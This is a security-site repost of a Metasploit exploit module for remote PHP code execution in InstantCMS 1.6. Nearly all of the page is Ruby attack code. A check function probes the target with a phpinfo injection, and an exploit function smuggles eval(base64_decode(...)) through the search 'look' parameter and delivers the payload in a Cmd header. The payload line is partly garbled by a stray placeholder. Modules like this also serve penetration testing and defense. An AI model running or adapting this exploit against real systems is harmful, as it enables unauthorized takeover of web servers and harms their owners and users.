首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
InstantCMS 1.6 Remote PHP Code Execution
来源:metasploit.com 作者:Akastep 发布时间:2013-07-04  
require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'InstantCMS 1.6 Remote PHP Code Execution',
			'Description'    => %q{
				This module exploits an arbitrary php command execution vulnerability, because of a
				dangerous use of eval(), in InstantCMS versions 1.6.
			},
			'Author'         =>
				[
					'AkaStep', # Vulnerability discovery and PoC
					'Ricardo Jorge Borges de Almeida <ricardojba1[at]gmail.com>', # Metasploit module
					'juan vazquez' # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'BID', '60816' ],
					[ 'URL', 'http://packetstormsecurity.com/files/122176/InstantCMS-1.6-Code-Execution.html' ]
				],
			'Privileged'     => false,
			'Platform'       => 'php',
			'Arch' => ARCH_PHP,
			'Targets'        =>
				[
					[ 'InstantCMS 1.6', { }  ],
				],
			'DisclosureDate' => 'Jun 26 2013',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, "The URI path of the InstantCMS page", "/"])
			], self.class)
	end

	def check
		res = send_request_cgi({
			'uri'      => normalize_uri(target_uri.to_s),
			'vars_get' =>
			{
				'view'	=> 'search',
				'query' => '${echo phpinfo()}'
			}
		})

		if res
			if res.body.match(/Build Date/)
				return Exploit::CheckCode::Vulnerable
			else
				return Exploit::CheckCode::Safe
			end
		else
			return Exploit::CheckCode::Unknown
		end

	rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
		return Exploit::CheckCode::Unknown
	end

	def exploit

		print_status("Executing payload...")

		res = send_request_cgi({
			'uri'      => normalize_uri(target_uri.to_s),
			'vars_get' =>
			{
				'view'	=> 'search',
				'query' => rand_text_alpha(3 + rand(3)),
				'look'  => "#{rand_text_alpha(3 + rand(3))}\",\"\"); eval(base64_decode(
___FCKpd___0
SERVER[HTTP_CMD]));//" }, 'headers' => { 'Cmd' => Rex::Text.encode_base64(payload.encoded) } }) end end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Opera 12.15 Denial Of Service
·Adobe Reader X 10.1.4.38 - BMP
·Nokia 1280 Denial Of Service
·OpenNetAdmin 13.03.01 Remote C
·Realtek Sound Manager AvRack (
·AOL Instant Messenger 8.0.1.5
·ABBS Audio Media Player .LST B
·Google Chrome 25.0.1364.152 HT
·FileCOPA 7.01 Denial Of Servic
·Solaris Recommended Patch Clus
·WinAmp 5.63 - Stack-based Buff
·ERS Viewer 2013 ERS File Handl
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved